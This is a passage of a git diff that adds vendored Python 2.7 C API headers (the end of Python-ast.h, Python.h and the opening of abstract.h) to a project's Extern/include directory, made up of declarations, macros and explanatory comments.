a5) +stmt_ty _Py_Print(expr_ty dest, asdl_seq * values, bool nl, int lineno, int + col_offset, PyArena *arena); +#define For(a0, a1, a2, a3, a4, a5, a6) _Py_For(a0, a1, a2, a3, a4, a5, a6) +stmt_ty _Py_For(expr_ty target, expr_ty iter, asdl_seq * body, asdl_seq * + orelse, int lineno, int col_offset, PyArena *arena); +#define While(a0, a1, a2, a3, a4, a5) _Py_While(a0, a1, a2, a3, a4, a5) +stmt_ty _Py_While(expr_ty test, asdl_seq * body, asdl_seq * orelse, int lineno, + int col_offset, PyArena *arena); +#define If(a0, a1, a2, a3, a4, a5) _Py_If(a0, a1, a2, a3, a4, a5) +stmt_ty _Py_If(expr_ty test, asdl_seq * body, asdl_seq * orelse, int lineno, + int col_offset, PyArena *arena); +#define With(a0, a1, a2, a3, a4, a5) _Py_With(a0, a1, a2, a3, a4, a5) +stmt_ty _Py_With(expr_ty context_expr, expr_ty optional_vars, asdl_seq * body, + int lineno, int col_offset, PyArena *arena); +#define Raise(a0, a1, a2, a3, a4, a5) _Py_Raise(a0, a1, a2, a3, a4, a5) +stmt_ty _Py_Raise(expr_ty type, expr_ty inst, expr_ty tback, int lineno, int + col_offset, PyArena *arena); +#define TryExcept(a0, a1, a2, a3, a4, a5) _Py_TryExcept(a0, a1, a2, a3, a4, a5) +stmt_ty _Py_TryExcept(asdl_seq * body, asdl_seq * handlers, asdl_seq * orelse, + int lineno, int col_offset, PyArena *arena); +#define TryFinally(a0, a1, a2, a3, a4) _Py_TryFinally(a0, a1, a2, a3, a4) +stmt_ty _Py_TryFinally(asdl_seq * body, asdl_seq * finalbody, int lineno, int + col_offset, PyArena *arena); +#define Assert(a0, a1, a2, a3, a4) _Py_Assert(a0, a1, a2, a3, a4) +stmt_ty _Py_Assert(expr_ty test, expr_ty msg, int lineno, int col_offset, + PyArena *arena); +#define Import(a0, a1, a2, a3) _Py_Import(a0, a1, a2, a3) +stmt_ty _Py_Import(asdl_seq * names, int lineno, int col_offset, PyArena + *arena); +#define ImportFrom(a0, a1, a2, a3, a4, a5) _Py_ImportFrom(a0, a1, a2, a3, a4, a5) +stmt_ty _Py_ImportFrom(identifier module, asdl_seq * names, int level, int + lineno, int col_offset, PyArena *arena); +#define Exec(a0, a1, a2, a3, a4, a5) _Py_Exec(a0, a1, a2, a3, a4, a5) +stmt_ty _Py_Exec(expr_ty body, expr_ty globals, expr_ty locals, int lineno, int + col_offset, PyArena *arena); +#define Global(a0, a1, a2, a3) _Py_Global(a0, a1, a2, a3) +stmt_ty _Py_Global(asdl_seq * names, int lineno, int col_offset, PyArena + *arena); +#define Expr(a0, a1, a2, a3) _Py_Expr(a0, a1, a2, a3) +stmt_ty _Py_Expr(expr_ty value, int lineno, int col_offset, PyArena *arena); +#define Pass(a0, a1, a2) _Py_Pass(a0, a1, a2) +stmt_ty _Py_Pass(int lineno, int col_offset, PyArena *arena); +#define Break(a0, a1, a2) _Py_Break(a0, a1, a2) +stmt_ty _Py_Break(int lineno, int col_offset, PyArena *arena); +#define Continue(a0, a1, a2) _Py_Continue(a0, a1, a2) +stmt_ty _Py_Continue(int lineno, int col_offset, PyArena *arena); +#define BoolOp(a0, a1, a2, a3, a4) _Py_BoolOp(a0, a1, a2, a3, a4) +expr_ty _Py_BoolOp(boolop_ty op, asdl_seq * values, int lineno, int col_offset, + PyArena *arena); +#define BinOp(a0, a1, a2, a3, a4, a5) _Py_BinOp(a0, a1, a2, a3, a4, a5) +expr_ty _Py_BinOp(expr_ty left, operator_ty op, expr_ty right, int lineno, int + col_offset, PyArena *arena); +#define UnaryOp(a0, a1, a2, a3, a4) _Py_UnaryOp(a0, a1, a2, a3, a4) +expr_ty _Py_UnaryOp(unaryop_ty op, expr_ty operand, int lineno, int col_offset, + PyArena *arena); +#define Lambda(a0, a1, a2, a3, a4) _Py_Lambda(a0, a1, a2, a3, a4) +expr_ty _Py_Lambda(arguments_ty args, expr_ty body, int lineno, int col_offset, + PyArena *arena); +#define IfExp(a0, a1, a2, a3, a4, a5) _Py_IfExp(a0, a1, a2, a3, a4, a5) +expr_ty _Py_IfExp(expr_ty test, expr_ty body, expr_ty orelse, int lineno, int + col_offset, PyArena *arena); +#define Dict(a0, a1, a2, a3, a4) _Py_Dict(a0, a1, a2, a3, a4) +expr_ty _Py_Dict(asdl_seq * keys, asdl_seq * values, int lineno, int + col_offset, PyArena *arena); +#define Set(a0, a1, a2, a3) _Py_Set(a0, a1, a2, a3) +expr_ty _Py_Set(asdl_seq * elts, int lineno, int col_offset, PyArena *arena); +#define ListComp(a0, a1, a2, a3, a4) _Py_ListComp(a0, a1, a2, a3, a4) +expr_ty _Py_ListComp(expr_ty elt, asdl_seq * generators, int lineno, int + col_offset, PyArena *arena); +#define SetComp(a0, a1, a2, a3, a4) _Py_SetComp(a0, a1, a2, a3, a4) +expr_ty _Py_SetComp(expr_ty elt, asdl_seq * generators, int lineno, int + col_offset, PyArena *arena); +#define DictComp(a0, a1, a2, a3, a4, a5) _Py_DictComp(a0, a1, a2, a3, a4, a5) +expr_ty _Py_DictComp(expr_ty key, expr_ty value, asdl_seq * generators, int + lineno, int col_offset, PyArena *arena); +#define GeneratorExp(a0, a1, a2, a3, a4) _Py_GeneratorExp(a0, a1, a2, a3, a4) +expr_ty _Py_GeneratorExp(expr_ty elt, asdl_seq * generators, int lineno, int + col_offset, PyArena *arena); +#define Yield(a0, a1, a2, a3) _Py_Yield(a0, a1, a2, a3) +expr_ty _Py_Yield(expr_ty value, int lineno, int col_offset, PyArena *arena); +#define Compare(a0, a1, a2, a3, a4, a5) _Py_Compare(a0, a1, a2, a3, a4, a5) +expr_ty _Py_Compare(expr_ty left, asdl_int_seq * ops, asdl_seq * comparators, + int lineno, int col_offset, PyArena *arena); +#define Call(a0, a1, a2, a3, a4, a5, a6, a7) _Py_Call(a0, a1, a2, a3, a4, a5, a6, a7) +expr_ty _Py_Call(expr_ty func, asdl_seq * args, asdl_seq * keywords, expr_ty + starargs, expr_ty kwargs, int lineno, int col_offset, PyArena + *arena); +#define Repr(a0, a1, a2, a3) _Py_Repr(a0, a1, a2, a3) +expr_ty _Py_Repr(expr_ty value, int lineno, int col_offset, PyArena *arena); +#define Num(a0, a1, a2, a3) _Py_Num(a0, a1, a2, a3) +expr_ty _Py_Num(object n, int lineno, int col_offset, PyArena *arena); +#define Str(a0, a1, a2, a3) _Py_Str(a0, a1, a2, a3) +expr_ty _Py_Str(string s, int lineno, int col_offset, PyArena *arena); +#define Attribute(a0, a1, a2, a3, a4, a5) _Py_Attribute(a0, a1, a2, a3, a4, a5) +expr_ty _Py_Attribute(expr_ty value, identifier attr, expr_context_ty ctx, int + lineno, int col_offset, PyArena *arena); +#define Subscript(a0, a1, a2, a3, a4, a5) _Py_Subscript(a0, a1, a2, a3, a4, a5) +expr_ty _Py_Subscript(expr_ty value, slice_ty slice, expr_context_ty ctx, int + lineno, int col_offset, PyArena *arena); +#define Name(a0, a1, a2, a3, a4) _Py_Name(a0, a1, a2, a3, a4) +expr_ty _Py_Name(identifier id, expr_context_ty ctx, int lineno, int + col_offset, PyArena *arena); +#define List(a0, a1, a2, a3, a4) _Py_List(a0, a1, a2, a3, a4) +expr_ty _Py_List(asdl_seq * elts, expr_context_ty ctx, int lineno, int + col_offset, PyArena *arena); +#define Tuple(a0, a1, a2, a3, a4) _Py_Tuple(a0, a1, a2, a3, a4) +expr_ty _Py_Tuple(asdl_seq * elts, expr_context_ty ctx, int lineno, int + col_offset, PyArena *arena); +#define Ellipsis(a0) _Py_Ellipsis(a0) +slice_ty _Py_Ellipsis(PyArena *arena); +#define Slice(a0, a1, a2, a3) _Py_Slice(a0, a1, a2, a3) +slice_ty _Py_Slice(expr_ty lower, expr_ty upper, expr_ty step, PyArena *arena); +#define ExtSlice(a0, a1) _Py_ExtSlice(a0, a1) +slice_ty _Py_ExtSlice(asdl_seq * dims, PyArena *arena); +#define Index(a0, a1) _Py_Index(a0, a1) +slice_ty _Py_Index(expr_ty value, PyArena *arena); +#define comprehension(a0, a1, a2, a3) _Py_comprehension(a0, a1, a2, a3) +comprehension_ty _Py_comprehension(expr_ty target, expr_ty iter, asdl_seq * + ifs, PyArena *arena); +#define ExceptHandler(a0, a1, a2, a3, a4, a5) _Py_ExceptHandler(a0, a1, a2, a3, a4, a5) +excepthandler_ty _Py_ExceptHandler(expr_ty type, expr_ty name, asdl_seq * body, + int lineno, int col_offset, PyArena *arena); +#define arguments(a0, a1, a2, a3, a4) _Py_arguments(a0, a1, a2, a3, a4) +arguments_ty _Py_arguments(asdl_seq * args, identifier vararg, identifier + kwarg, asdl_seq * defaults, PyArena *arena); +#define keyword(a0, a1, a2) _Py_keyword(a0, a1, a2) +keyword_ty _Py_keyword(identifier arg, expr_ty value, PyArena *arena); +#define alias(a0, a1, a2) _Py_alias(a0, a1, a2) +alias_ty _Py_alias(identifier name, identifier asname, PyArena *arena); + +PyObject* PyAST_mod2obj(mod_ty t); +mod_ty PyAST_obj2mod(PyObject* ast, PyArena* arena, int mode); +int PyAST_Check(PyObject* obj); diff --git a/Extern/include/Python27/Python.h b/Extern/include/Python27/Python.h new file mode 100644 index 0000000..b3c996c --- /dev/null +++ b/Extern/include/Python27/Python.h @@ -0,0 +1,183 @@ +#ifndef Py_PYTHON_H +#define Py_PYTHON_H +/* Since this is a "meta-include" file, no #ifdef __cplusplus / extern "C" { */ + +/* Include nearly all Python header files */ + +#include "patchlevel.h" +#include "pyconfig.h" +#include "pymacconfig.h" + +/* Cyclic gc is always enabled, starting with release 2.3a1. Supply the + * old symbol for the benefit of extension modules written before then + * that may be conditionalizing on it. The core doesn't use it anymore. + */ +#ifndef WITH_CYCLE_GC +#define WITH_CYCLE_GC 1 +#endif + +#include + +#ifndef UCHAR_MAX +#error "Something's broken. UCHAR_MAX should be defined in limits.h." +#endif + +#if UCHAR_MAX != 255 +#error "Python's source code assumes C's unsigned char is an 8-bit type." +#endif + +#if defined(__sgi) && defined(WITH_THREAD) && !defined(_SGI_MP_SOURCE) +#define _SGI_MP_SOURCE +#endif + +#include +#ifndef NULL +# error "Python.h requires that stdio.h define NULL." +#endif + +#include +#ifdef HAVE_ERRNO_H +#include +#endif +#include +#ifdef HAVE_UNISTD_H +#include +#endif + +/* For size_t? */ +#ifdef HAVE_STDDEF_H +#include +#endif + +/* CAUTION: Build setups should ensure that NDEBUG is defined on the + * compiler command line when building Python in release mode; else + * assert() calls won't be removed. + */ +#include + +#include "pyport.h" + +/* pyconfig.h or pyport.h may or may not define DL_IMPORT */ +#ifndef DL_IMPORT /* declarations for DLL import/export */ +#define DL_IMPORT(RTYPE) RTYPE +#endif +#ifndef DL_EXPORT /* declarations for DLL import/export */ +#define DL_EXPORT(RTYPE) RTYPE +#endif + +/* Debug-mode build with pymalloc implies PYMALLOC_DEBUG. + * PYMALLOC_DEBUG is in error if pymalloc is not in use. + */ +#if defined(Py_DEBUG) && defined(WITH_PYMALLOC) && !defined(PYMALLOC_DEBUG) +//#define PYMALLOC_DEBUG +#endif +#if defined(PYMALLOC_DEBUG) && !defined(WITH_PYMALLOC) +#error "PYMALLOC_DEBUG requires WITH_PYMALLOC" +#endif +#include "pymath.h" +#include "pymem.h" + +#include "object.h" +#include "objimpl.h" + +#include "pydebug.h" + +#include "unicodeobject.h" +#include "intobject.h" +#include "boolobject.h" +#include "longobject.h" +#include "floatobject.h" +#ifndef WITHOUT_COMPLEX +#include "complexobject.h" +#endif +#include "rangeobject.h" +#include "stringobject.h" +#include "memoryobject.h" +#include "bufferobject.h" +#include "bytesobject.h" +#include "bytearrayobject.h" +#include "tupleobject.h" +#include "listobject.h" +#include "dictobject.h" +#include "enumobject.h" +#include "setobject.h" +#include "methodobject.h" +#include "moduleobject.h" +#include "funcobject.h" +#include "classobject.h" +#include "fileobject.h" +#include "cobject.h" +#include "pycapsule.h" +#include "traceback.h" +#include "sliceobject.h" +#include "cellobject.h" +#include "iterobject.h" +#include "genobject.h" +#include "descrobject.h" +#include "warnings.h" +#include "weakrefobject.h" + +#include "codecs.h" +#include "pyerrors.h" + +#include "pystate.h" + +#include "pyarena.h" +#include "modsupport.h" +#include "pythonrun.h" +#include "ceval.h" +#include "sysmodule.h" +#include "intrcheck.h" +#include "import.h" + +#include "abstract.h" + +#include "compile.h" +#include "eval.h" + +#include "pyctype.h" +#include "pystrtod.h" +#include "pystrcmp.h" +#include "dtoa.h" + +/* _Py_Mangle is defined in compile.c */ +PyAPI_FUNC(PyObject*) _Py_Mangle(PyObject *p, PyObject *name); + +/* PyArg_GetInt is deprecated and should not be used, use PyArg_Parse(). */ +#define PyArg_GetInt(v, a) PyArg_Parse((v), "i", (a)) + +/* PyArg_NoArgs should not be necessary. + Set ml_flags in the PyMethodDef to METH_NOARGS. */ +#define PyArg_NoArgs(v) PyArg_Parse(v, "") + +/* Convert a possibly signed character to a nonnegative int */ +/* XXX This assumes characters are 8 bits wide */ +#ifdef __CHAR_UNSIGNED__ +#define Py_CHARMASK(c) (c) +#else +#define Py_CHARMASK(c) ((unsigned char)((c) & 0xff)) +#endif + +#include "pyfpe.h" + +/* These definitions must match corresponding definitions in graminit.h. + There's code in compile.c that checks that they are the same. */ +#define Py_single_input 256 +#define Py_file_input 257 +#define Py_eval_input 258 + +#ifdef HAVE_PTH +/* GNU pth user-space thread support */ +#include +#endif + +/* Define macros for inline documentation. */ +#define PyDoc_VAR(name) static char name[] +#define PyDoc_STRVAR(name,str) PyDoc_VAR(name) = PyDoc_STR(str) +#ifdef WITH_DOC_STRINGS +#define PyDoc_STR(str) str +#else +#define PyDoc_STR(str) "" +#endif + +#endif /* !Py_PYTHON_H */ diff --git a/Extern/include/Python27/abstract.h b/Extern/include/Python27/abstract.h new file mode 100644 index 0000000..6ca4988 --- /dev/null +++ b/Extern/include/Python27/abstract.h @@ -0,0 +1,1389 @@ +#ifndef Py_ABSTRACTOBJECT_H +#define Py_ABSTRACTOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef PY_SSIZE_T_CLEAN +#define PyObject_CallFunction _PyObject_CallFunction_SizeT +#define PyObject_CallMethod _PyObject_CallMethod_SizeT +#endif + +/* Abstract Object Interface (many thanks to Jim Fulton) */ + +/* + PROPOSAL: A Generic Python Object Interface for Python C Modules + +Problem + + Python modules written in C that must access Python objects must do + so through routines whose interfaces are described by a set of + include files. Unfortunately, these routines vary according to the + object accessed. To use these routines, the C programmer must check + the type of the object being used and must call a routine based on + the object type. For example, to access an element of a sequence, + the programmer must determine whether the sequence is a list or a + tuple: + + if(is_tupleobject(o)) + e=gettupleitem(o,i) + else if(is_listitem(o)) + e=getlistitem(o,i) + + If the programmer wants to get an item from another type of object + that provides sequence behavior, there is no clear way to do it + correctly. + + The persistent programmer may peruse object.h and find that the + _typeobject structure provides a means of invoking up to (currently + about) 41 special operators. So, for example, a routine can get an + item from any object that provides sequence behavior. However, to + use this mechanism, the programmer must make their code dependent on + the current Python implementation. + + Also, certain semantics, especially memory management semantics, may + differ by the type of object being used. Unfortunately, these + semantics are not clearly described in the current include files. + An abstract interface providing more consistent semantics is needed. + +Proposal + + I propose the creation of a standard interface (with an associated + library of routines and/or macros) for generically obtaining the + services of Python objects. This proposal can be viewed as one + components of a Python C interface consisting of several components. + + From the viewpoint of C access to Python services, we have (as + suggested by Guido in off-line discussions): + + - "Very high level layer": two or three functions that let you exec or + eval arbitrary Python code given as a string in a module whose name is + given, passing C values in and getting C values out using + mkvalue/getargs style format strings. This does not require the user + to declare any variables of type "PyObject *". This should be enough + to write a simple application that gets Python code from the user, + execs it, and returns the output or errors. (Error handling must also + be part of this API.) + + - "Abstract objects layer": which is the subject of this proposal. + It has many functions operating on objects, and lest you do many + things from C that you can also write in Python, without going + through the Python parser. + + - "Concrete objects layer": This is the public type-dependent + interface provided by the standard built-in types, such as floats, + strings, and lists. This interface exists and is currently + documented by the collection of include files provided with the + Python distributions. + + From the point of view of Python accessing services provided by C + modules: + + - "Python module interface": this interface consist of the basic + routines used to define modules and their members. Most of the + current extensions-writing guide deals with this interface. + + - "Built-in object interface": this is the interface that a new + built-in type must provide and the mechanisms and rules that a + developer of a new built-in type must use and follow. + + This proposal is a "first-cut" that is intended to spur + discussion. See especially the lists of notes. + + The Python C object interface will provide four protocols: object, + numeric, sequence, and mapping. Each protocol consists of a + collection of related operations. If an operation that is not + provided by a particular type is invoked, then a standard exception, + NotImplementedError is raised with a operation name as an argument. + In addition, for convenience this interface defines a set of + constructors for building objects of built-in types. This is needed + so new objects can be returned from C functions that otherwise treat + objects generically. + +Memory Management + + For all of the functions described in this proposal, if a function + retains a reference to a Python object passed as an argument, then the + function will increase the reference count of the object. It is + unnecessary for the caller to increase the reference count of an + argument in anticipation of the object's retention. + + All Python objects returned from functions should be treated as new + objects. Functions that return objects assume that the caller will + retain a reference and the reference count of the object has already + been incremented to account for this fact. A caller that does not + retain a reference to an object that is returned from a function + must decrement the reference count of the object (using + DECREF(object)) to prevent memory leaks. + + Note that the behavior mentioned here is different from the current + behavior for some objects (e.g. lists and tuples) when certain + type-specific routines are called directly (e.g. setlistitem). The + proposed abstraction layer will provide a consistent memory + management interface, correcting for inconsistent behavior for some + built-in types. + +Protocols + +xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx*/ + +/* Object Protocol: */ + + /* Implemented elsewhere: + + int PyObject_Print(PyObject *o, FILE *fp, int flags); + + Print an object, o, on file, fp. Returns -1 on + error. The flags argument is used to enable certain printing + options. The only option currently supported is Py_Print_RAW. + + (What should be said about Py_Print_RAW?) + + */ + + /* Implemented elsewhere: + + int PyObject_HasAttrString(PyObject *o, char *attr_name); + + Returns 1 if o has the attribute attr_name, and 0 otherwise. + This is equivalent to the Python expression: + hasattr(o,attr_name). + + This function always succeeds. + + */ + + /* Implemented elsewhere: + + PyObject* PyObject_GetAttrString(PyObject *o, char *attr_name); + + Retrieve an attributed named attr_name form object o. + Returns the attribute value on success, or NULL on failure. + This is the equivalent of the Python expression: o.attr_name. + + */ + + /* Implemented elsewhere: + + int PyObject_HasAttr(PyObject *o, PyObject *attr_name); + + Returns 1 if o has the attribute attr_name, and 0 otherwise. + This is equivalent to the Python expression: + hasattr(o,attr_name). + + This function always succeeds. + + */ + + /* Implemented elsewhere: + + PyObject* PyObject_GetAttr(PyObject *o, PyObject *attr_name); + + Retrieve an attributed named attr_name form object o. + Returns the attribute value on success, or NULL on failure. + This is the equivalent of the Python expression: o.attr_name. + + */ + + + /* Implemented elsewhere: + + int PyObject_SetAttrString(PyObject *o, char *attr_name, PyObject *v); + + Set the value of the attribute named attr_name, for object o, + to the value, v. Returns -1 on failure. This is + the equivalent of the Python statement: o.attr_name=v. + + */ + + /* Implemented elsewhere: + + int PyObject_SetAttr(PyObject *o, PyObject *attr_name, PyObject *v); + + Set the value of the attribute named attr_name, for object o, + to the value, v. Returns -1 on failure. This is + the equivalent of the Python statement: o.attr_name=v. + + */ + + /* implemented as a macro: + + int PyObject_DelAttrString(PyObject *o, char *attr_name); + + Delete attribute named attr_name, for object o. Returns + -1 on failure. This is the equivalent of the Python + statement: del o.attr_name. + + */ +#define PyObject_DelAttrString(O,A) PyObject_SetAttrString((O),(A),NULL) + + /* implemented as a macro: + + int PyObject_DelAttr(PyObject *o, PyObject *attr_name); + + Delete attribute named attr_name, for object o. Returns -1 + on failure. This is the equivalent of the Python + statement: del o.attr_name. + + */ +#define PyObject_DelAttr(O,A) PyObject_SetAttr((O),(A),NULL) + + PyAPI_FUNC(int) PyObject_Cmp(PyObject *o1, PyObject *o2, int *result); + + /* + Compare the values of o1 and o2 using a routine provided by + o1, if one exists, otherwise with a routine provided by o2. + The result of the comparison is returned in result. Returns + -1 on failure. This is the equivalent of the Python + statement: result=cmp(o1,o2). + + */ + + /* Implemented elsewhere: + + int PyObject_Compare(PyObject *o1, PyObject *o2); + + Compare the values of o1 and o2 using a routine provided by + o1, if one exists, otherwise with a routine provided by o2. + Returns the result of the comparison on success. On error, + the value returned is undefined. This is equivalent to the + Python expression: cmp(o1,o2). + + */ + + /* Implemented elsewhere: + + PyObject *PyObject_Repr(PyObject *o); + + Compute the string representation of object, o. Returns the + string representation on success, NULL on failure. This is + the equivalent of the Python expression: repr(o). + + Called by the repr() built-in function and by reverse quotes. + + */ + + /* Implemented elsewhere: + + PyObject *PyObject_Str(PyObject *o); + + Compute the string representation of object, o. Returns the + string representation on success, NULL on failure. This is + the equivalent of the Python expression: str(o).) + + Called by the str() built-in function and by the print + statement. + + */ + + /* Implemented elsewhere: + + PyObject *PyObject_Unicode(PyObject *o); + + Compute the unicode representation of object, o. Returns the + unicode representation on success, NULL on failure. This is + the equivalent of the Python expression: unistr(o).) + + Called by the unistr() built-in function. + + */ + + /* Declared elsewhere + + PyAPI_FUNC(int) PyCallable_Check(PyObject *o); + + Determine if the object, o, is callable. Return 1 if the + object is callable and 0 otherwise. + + This function always succeeds. + + */ + + + + PyAPI_FUNC(PyObject *) PyObject_Call(PyObject *callable_object, + PyObject *args, PyObject *kw); + + /* + Call a callable Python object, callable_object, with + arguments and keywords arguments. The 'args' argument can not be + NULL, but the 'kw' argument can be NULL. + + */ + + PyAPI_FUNC(PyObject *) PyObject_CallObject(PyObject *callable_object, + PyObject *args); + + /* + Call a callable Python object, callable_object, with + arguments given by the tuple, args. If no arguments are + needed, then args may be NULL. Returns the result of the + call on success, or NULL on failure. This is the equivalent + of the Python expression: apply(o,args). + + */ + + PyAPI_FUNC(PyObject *) PyObject_CallFunction(PyObject *callable_object, + char *format, ...); + + /* + Call a callable Python object, callable_object, with a + variable number of C arguments. The C arguments are described + using a mkvalue-style format string. The format may be NULL, + indicating that no arguments are provided. Returns the + result of the call on success, or NULL on failure. This is + the equivalent of the Python expression: apply(o,args). + + */ + + + PyAPI_FUNC(PyObject *) PyObject_CallMethod(PyObject *o, char *m, + char *format, ...); + + /* + Call the method named m of object o with a variable number of + C arguments. The C arguments are described by a mkvalue + format string. The format may be NULL, indicating that no + arguments are provided. Returns the result of the call on + success, or NULL on failure. This is the equivalent of the + Python expression: o.method(args). + */ + + PyAPI_FUNC(PyObject *) _PyObject_CallFunction_SizeT(PyObject *callable, + char *format, ...); + PyAPI_FUNC(PyObject *) _PyObject_CallMethod_SizeT(PyObject *o, + char *name, + char *format, ...); + + PyAPI_FUNC(PyObject *) PyObject_CallFunctionObjArgs(PyObject *callable, + ...); + + /* + Call a callable Python object, callable_object, with a + variable number of C arguments. The C arguments are provided + as PyObject * values, terminated by a NULL. Returns the + result of the call on success, or NULL on failure. This is + the equivalent of the Python expression: apply(o,args). + */ + + + PyAPI_FUNC(PyObject *) PyObject_CallMethodObjArgs(PyObject *o, + PyObject *m, ...); + + /* + Call the method named m of object o with a variable number of + C arguments. The C arguments are provided as PyObject * + values, terminated by NULL. Returns the result of the call + on success, or NULL on failure. This is the equivalent of + the Python expression: o.method(args). + */ + + + /* Implemented elsewhere: + + long PyObject_Hash(PyObject *o); + + Compute and return the hash, hash_value, of an object, o. On + failure, return -1. This is the equivalent of the Python + expression: hash(o). + + */ + + + /* Implemented elsewhere: + + int PyObject_IsTrue(PyObject *o); + + Returns 1 if the object, o, is considered to be true, 0 if o is + considered to be false and -1 on failure. This is equivalent to the + Python expression: not not o + + */ + + /* Implemented elsewhere: + + int PyObject_Not(PyObject *o); + + Returns 0 if the object, o, is considered to be true, 1 if o is + considered to be false and -1 on failure. This is equivalent to the + Python expression: not o + + */ + + PyAPI_FUNC(PyObject *) PyObject_Type(PyObject *o); + + /* + On success, returns a type object corresponding to the object + type of object o. On failure, returns NULL. This is + equivalent to the Python expression: type(o). + */ + + PyAPI_FUNC(Py_ssize_t) PyObject_Size(PyObject *o); + + /* + Return the size of object o. If the object, o, provides + both sequence and mapping protocols, the sequence size is + returned. On error, -1 is returned. This is the equivalent + to the Python expression: len(o). + + */ + + /* For DLL compatibility */ +#undef PyObject_Length + PyAPI_FUNC(Py_ssize_t) PyObject_Length(PyObject *o); +#define PyObject_Length PyObject_Size + + PyAPI_FUNC(Py_ssize_t) _PyObject_LengthHint(PyObject *o, Py_ssize_t); + + /* + Guess the size of object o using len(o) or o.__length_hint__(). + If neither of those return a non-negative value, then return the + default value. If one of the calls fails, this function returns -1. + */ + + PyAPI_FUNC(PyObject *) PyObject_GetItem(PyObject *o, PyObject *key); + + /* + Return element of o corresponding to the object, key, or NULL + on failure. This is the equivalent of the Python expression: + o[key]. + + */ + + PyAPI_FUNC(int) PyObject_SetItem(PyObject *o, PyObject *key, PyObject *v); + + /* + Map the object, key, to the value, v. Returns + -1 on failure. This is the equivalent of the Python + statement: o[key]=v. + */ + + PyAPI_FUNC(int) PyObject_DelItemString(PyObject *o, char *key); + + /* + Remove the mapping for object, key, from the object *o. + Returns -1 on failure. This is equivalent to + the Python statement: del o[key]. + */ + + PyAPI_FUNC(int) PyObject_DelItem(PyObject *o, PyObject *key); + + /* + Delete the mapping for key from *o. Returns -1 on failure. + This is the equivalent of the Python statement: del o[key]. + */ + + PyAPI_FUNC(int) PyObject_AsCharBuffer(PyObject *obj, + const char **buffer, + Py_ssize_t *buffer_len); + + /* + Takes an arbitrary object which must support the (character, + single segment) buffer interface and returns a pointer to a + read-only memory location useable as character based input + for subsequent processing. + + 0 is returned on success. buffer and buffer_len are only + set in case no error occurs. Otherwise, -1 is returned and + an exception set. + + */ + + PyAPI_FUNC(int) PyObject_CheckReadBuffer(PyObject *obj); + + /* + Checks whether an arbitrary object supports the (character, + single segment) buffer interface. Returns 1 on success, 0 + on failure. + + */ + + PyAPI_FUNC(int) PyObject_AsReadBuffer(PyObject *obj, + const void **buffer, + Py_ssize_t *buffer_len); + + /* + Same as PyObject_AsCharBuffer() except that this API expects + (readable, single segment) buffer interface and returns a + pointer to a read-only memory location which can contain + arbitrary data. + + 0 is returned on success. buffer and buffer_len are only + set in case no error occurrs. Otherwise, -1 is returned and + an exception set. + + */ + + PyAPI_FUNC(int) PyObject_AsWriteBuffer(PyObject *obj, + void **buffer, + Py_ssize_t *buffer_len); + + /* + Takes an arbitrary object which must support the (writeable, + single segment) buffer interface and returns a pointer to a + writeable memory location in buffer of size buffer_len. + + 0 is returned on success. buffer and buffer_len are only + set in case no error occurrs. Otherwise, -1 is returned and + an exception set. + + */ + + /* new buffer API */ + +#define PyObject_CheckBuffer(obj) \ + (((obj)->ob_type->tp_as_buffer != NULL) && \ + (PyType_HasFeature((obj)->ob_type, Py_TPFLAGS_HAVE_NEWBUFFER)) && \ + ((obj)->ob_type->tp_as_buffer->bf_getbuffer != NULL)) + + /* Return 1 if the getbuffer function is available, otherwise + return 0 */ + + PyAPI_FUNC(int) PyObject_GetBuffer(PyObject *obj, Py_buffer *view, + int flags); + + /* This is a C-API version of the getbuffer function call. It checks + to make sure object has the required function pointer and issues the + call. Returns -1 and raises an error on failure and returns 0 on + success + */ + + + PyAPI_FUNC(void *) PyBuffer_GetPointer(Py_buffer *view, Py_ssize_t *indices); + + /* Get the memory area pointed to by the indices for the buffer given. + Note that view->ndim is the assumed size of indices + */ + + PyAPI_FUNC(int) PyBuffer_SizeFromFormat(const char *); + + /* Return the implied itemsize of the data-format area from a + struct-style description */ + + + + PyAPI_FUNC(int) PyBuffer_ToContiguous(void *buf, Py_buffer *view, + Py_ssize_t len, char fort); + + PyAPI_FUNC(int) PyBuffer_FromContiguous(Py_buffer *view, void *buf, + Py_ssize_t len, char fort); + + + /* Copy len bytes of data from the contiguous chunk of memory + pointed to by buf into the buffer exported by obj. Return + 0 on success and return -1 and raise a PyBuffer_Error on + error (i.e. the object does not have a buffer interface or + it is not working). + + If fort is 'F' and the object is multi-dimensional, + then the data will be copied into the array in + Fortran-style (first dimension varies the fastest). If + fort is 'C', then the data will be copied into the array + in C-style (last dimension varies the fastest). If fort + is 'A', then it does not matter and the copy will be made + in whatever way is more efficient. + + */ + + PyAPI_FUNC(int) PyObject_CopyData(PyObject *dest, PyObject *src); + + /* Copy the data from the src buffer to the buffer of destination + */ + + PyAPI_FUNC(int) PyBuffer_IsContiguous(Py_buffer *view, char fort); + + + PyAPI_FUNC(void) PyBuffer_FillContiguousStrides(int ndims, + Py_ssize_t *shape, + Py_ssize_t *strides, + int itemsize, + char fort); + + /* Fill the strides array with byte-strides of a contiguous + (Fortran-style if fort is 'F' or C-style otherwise) + array of the given shape with the given number of bytes + per element. + */ + + PyAPI_FUNC(int) PyBuffer_FillInfo(Py_buffer *view, PyObject *o, void *buf, + Py_ssize_t len, int readonly, + int flags); + + /* Fills in a buffer-info structure correctly for an exporter + that can only share a contiguous chunk of memory of + "unsigned bytes" of the given length. Returns 0 on success + and -1 (with raising an error) on error. + */ + + PyAPI_FUNC(void) PyBuffer_Release(Py_buffer *view); + + /* Releases a Py_buffer obtained from getbuffer ParseTuple's s*. + */ + + PyAPI_FUNC(PyObject *) PyObject_Format(PyObject* obj, + PyObject *format_spec); + /* + Takes an arbitrary object and returns the result of + calling obj.__format__(format_spec). + */ + +/* Iterators */ + + PyAPI_FUNC(PyObject *) PyObject_GetIter(PyObject *); + /* Takes an object and returns an iterator for it. + This is typically a new iterator but if the argument + is an iterator, this returns itself. */ + +#define PyIter_Check(obj) \ + (PyType_HasFeature((obj)->ob_type, Py_TPFLAGS_HAVE_ITER) && \ + (obj)->ob_type->tp_iternext != NULL && \ + (obj)->ob_type->tp_iternext != &_PyObject_NextNotImplemented) + + PyAPI_FUNC(PyObject *) PyIter_Next(PyObject *); + /* Takes an iterator object and calls its tp_iternext slot, + returning the next value. If the iterator is exhausted, + this returns NULL without setting an exception. + NULL with an exception means an error occurred. */ + +/* Number Protocol:*/ + + PyAPI_FUNC(int) 